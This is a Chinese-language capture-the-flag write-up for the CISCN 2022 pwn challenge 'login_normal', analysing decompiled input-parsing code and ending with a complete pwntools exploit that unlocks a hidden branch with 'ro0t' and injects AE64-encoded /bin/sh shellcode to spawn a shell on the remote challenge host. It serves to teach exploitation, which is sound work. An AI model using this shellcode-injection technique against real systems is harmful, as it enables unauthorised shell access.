0%

[CISCN 2022 初赛]login_normal JHWong的WriteUp

2024-01-06 20:00By
JHWong
shellcodePWN

Problem: [CISCN 2022 初赛]login_normal

[[toc]]

思路

  • 发现保护全开
  • 跟进到sub_FFD,解构代码含义
while ( !*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10) )// *a1为空 || *a1 不为 '\n' '\r' a1[1] 不为 '\n' 进入 { if ( v8 <= 5 ) qword_202040[2 * v8] = a1; sb = strchr(a1, 58); if ( !sb ) { puts("error."); exit(1); } *sb = 0; for ( sc = sb + 1; *sc && (*sc == 32 || *sc == 13 || *sc == 10 || *sc == 9); ++sc ) *sc = 0; if ( !*sc ) { puts("abort."); exit(2); } if ( v8 <= 5 ) qword_202040[2 * v8 + 1] = sc; sd = strchr(sc, 10); if ( !sd ) { puts("error."); exit(3); } *sd = 0; a1 = sd + 1; if ( *a1 == 13 ) *a1++ = 0; s1 = (char *)qword_202040[2 * v8]; nptr = (char *)qword_202040[2 * v8 + 1]; ... } ++v8; }

上述代码,表述的是退出条件是最后一个字符是'\n'。然后会把输入的字符串按照':'解析为两个部分,总共可以解析5个指令。
再往下观察代码

if ( !strcasecmp(s1, "opt") ){ if ( v7 ) { puts("error."); exit(5); } v7 = atoi(nptr); } else { if ( strcasecmp(s1, "msg") ) {...} v9 = strlen(nptr) - 1; }

由此可见,大概的命令格式是"opt:number\nmsg:string \n\n"
注意:

v9 = strlen(nptr) - 1;

因为读入的字符,一定会被噶掉一个字符,所以要多个一个无效的。
然后会根据opt操作的数码进行调用函数。

  • 在sub_DA8中发现漏洞((void (*)(void))dest)()调用条件是unk_202024 == 1。而且还会做一个检查 -- isprintable。
  • 跟进unk_202024,发现如下代码:
lea rax, unk_202024 mov dword ptr [rax], 1

把 unk_202024地址 载入rax。然后使用mov修改rax所指向的地址的内容,也就是unk_202024 = 1。对应c代码

if ( !strcmp(a1, "ro0t") ) { unk_202028 = 1; unk_202024 = 1; }

EXP

from pwn import * from PwnModules import * from ae64 import AE64 context(os="linux", arch="amd64", log_level="debug") io = remote("node4.anna.nssctf.cn", 28771) p = process("./service") payload1 = 'opt:1\n' + 'msg:ro0t \n' io.sendlineafter(b'>>>', payload1) shellcode = asm(shellcraft.sh()) shellcode = AE64().encode(shellcode, 'rdx') print(shellcode) payload = b'opt:2\nmsg:'+ shellcode + b' \n' io.sendlineafter(b'>>>', payload) io.interactive()
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论